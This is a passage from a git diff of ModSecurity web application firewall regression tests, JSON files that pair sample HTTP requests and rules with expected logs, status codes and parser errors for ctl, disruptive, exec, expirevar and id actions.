"/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: .*Variable: ARGS_NAMES:whee", + "http_code": 200 + }, + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS\"", + "SecRule ARGS_NAMES \"@contains whee\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag syntax I. (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] + }, + "expected": { + "parser_error": "Line: 2. Column: 47. CRS is not a valid 'TAG;VARIABLE'" + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS,ARGS\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag syntax II. (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "parser_error": "Line: 2. Column: 123. Expecting an action, got: ctl:ruleRemoveTargetByTag,CRS;ARGS" + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag,CRS;ARGS\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag with @ character (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:@foo\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag with = character", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" + }, + "uri": "/index.html?foo%3Dbar=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:foo=bar\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag with ( and ) characters", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" + }, + "uri": "/index.html?foo(bar)=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:foo(bar)\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetByTag with ' character", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" + }, + "uri": "/index.html?foo'bar=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS\"", - "SecRule ARGS \"@contais whe\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:foo'bar\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny,tag:'CRS'\"" ] } ] diff --git a/test/test-cases/regression/action-disruptive.json b/test/test-cases/regression/action-disruptive.json index da39b1c3bc..93c2d32cd8 100644 --- a/test/test-cases/regression/action-disruptive.json +++ b/test/test-cases/regression/action-disruptive.json @@ -1,78 +1,234 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (1/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (1/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Running action deny", - "http_code":403 + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,status:404\"", "SecAction \"id:'900001',phase:request,nolog,status:403,t:none,block\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (2/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (2/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Running action deny", - "http_code":404 + "http_code": 404 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,status:404\"", "SecAction \"id:'1',phase:request,nolog,t:none,block\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (3/n)", - "expected":{ - "http_code":404 + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (3/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 404 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,status:404\"", "SecAction \"id:'1',phase:request,nolog,block,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (4/n)", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (4/n)", + "client": { + "ip": "", + "port": 0 }, - "rules":[ + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ "SecRuleEngine On", "SecAction \"id:'1',phase:request,nolog,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (5/n)", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (5/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] }, - "rules":[ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,status:404\"", "SecAction \"id:'1',phase:request,nolog,pass,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (6/n)", - "expected":{ - "http_code":403 + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (6/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:'1',phase:request,drop,nolog,t:none\"" ] diff --git a/test/test-cases/regression/action-exec.json b/test/test-cases/regression/action-exec.json index 80661114e0..c6fe77d09d 100644 --- a/test/test-cases/regression/action-exec.json +++ b/test/test-cases/regression/action-exec.json @@ -1,148 +1,162 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: exec (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: exec (1/3)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "audit_log":"", - "debug_log":"Saving msg: This is a test, text\/html,application", - "error_log":"", - "parser_error":"exec: Expecting a Lua script: /bin/ech" + "expected": { + "debug_log": "Saving msg: This is a test, text/html,application", + "http_code": 200, + "parser_error": "exec: Expecting a Lua script: /bin/ech" }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,exec:/bin/echo\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: exec (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: exec (2/2)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "audit_log":"", - "debug_log":"Running script... test-cases/data/test.lua", - "error_log":"" + "expected": { + "debug_log": "Running script... test-cases/data/test.lua", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"@contains PHPSESSID\" \"id:1,exec:test-cases/data/test.lua\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: exec (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: exec (3/3)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "audit_log":"", - "debug_log":"Running script... test-cases/data/match.lua", - "error_log":"" + "expected": { + "debug_log": "Running script... test-cases/data/match.lua", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Cookie \"@contains PHPSESSID\" \"id:1,exec:test-cases/data/match.lua\"" ] } ] - diff --git a/test/test-cases/regression/action-expirevar.json b/test/test-cases/regression/action-expirevar.json new file mode 100644 index 0000000000..f105a1929d --- /dev/null +++ b/test/test-cases/regression/action-expirevar.json @@ -0,0 +1,178 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing expirevar action (1/x) - ip, expire later", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving msg: mycount1 is 100", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecAction \"initcol:ip='127.0.0.1',id:5000,phase:1\"", + "SecRule ARGS \"@rx value\" \"id:'5001',phase:2,setvar:ip.mycount1=100,expirevar:ip.mycount1=60,pass\"", + "SecRule &IP:mycount1 \"@eq 1\" \"id:'5002',phase:2,pass,log,msg:'mycount1 is %{ip.mycount1}'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing expirevar action (2/x) - ip, expire immediately", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving msg: mycount1 is ", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecAction \"initcol:ip='127.0.0.1',id:5010,phase:1\"", + "SecRule ARGS \"@rx value\" \"id:'5011',phase:2,setvar:ip.mycount1=100,expirevar:ip.mycount1=0,pass\"", + "SecRule &IP:mycount1 \"@eq 0\" \"id:'5012',phase:2,pass,log,msg:'mycount1 is %{ip.mycount1}'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing expirevar action (3/x) session, expire later", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving msg: mycount1 is 12", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx .\" \"id:5150,phase:2,pass,setsid:sess1234\"", + "SecRule ARGS \"@rx value\" \"id:5151,phase:2,pass,setvar:session.mycount1=12,expirevar:session.mycount1=30\"", + "SecRule &SESSION:mycount1 \"@eq 1\" \"id:'5152',phase:2,pass,log,msg:'mycount1 is %{session.mycount1}'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing expirevar action (4/x) session, expire immediately", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Saving msg: mycount1 is", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx .\" \"id:5150,phase:2,pass,setsid:sess1234\"", + "SecRule ARGS \"@rx value\" \"id:5151,phase:2,pass,setvar:session.mycount1=12,expirevar:session.mycount1=0\"", + "SecRule &SESSION:mycount1 \"@eq 0\" \"id:'5152',phase:2,pass,log,msg:'mycount1 is %{session.mycount1}'\"" + ] + } +] diff --git a/test/test-cases/regression/action-id.json b/test/test-cases/regression/action-id.json index 9f9453c7e9..39370d30e5 100644 --- a/test/test-cases/regression/action-id.json +++ b/test/test-cases/regression/action-id.json @@ -1,264 +1,276 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (1/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Action :: id (1/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { + "http_code": 200, "parser_error": "The input \"111111111111222222222222222222222222222333333333333333333333333333444444444444444444444444444444555555555555555555555555666666666666666666666666666666666666666666\" does not seems to be a valid rule id." }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:111111111111222222222222222222222222222333333333333333333333333333444444444444444444444444444444555555555555555555555555666666666666666666666666666666666666666666,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (2/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Action :: id (2/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { + "http_code": 200, "parser_error": "File: action-id.json. Line: 2. Column: 56. Expecting an action, got: id:-1,phase:2,pass,t:trim\"" }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:-1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (3/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Action :: id (3/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": " t:trim: \"value2\"" + "expected": { + "debug_log": " t:trim: \"value2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (4/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Action :: id (4/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": " t:trim: \"value2\"" + "expected": { + "debug_log": " t:trim: \"value2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:'1',phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (5/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Action :: id (5/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { + "http_code": 200, "parser_error": "action-id.json. Line: 2. Column: 56. Expecting an action, got: id:'1,phase:2,pass,t:trim\"" }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:'1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Action :: id (6/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 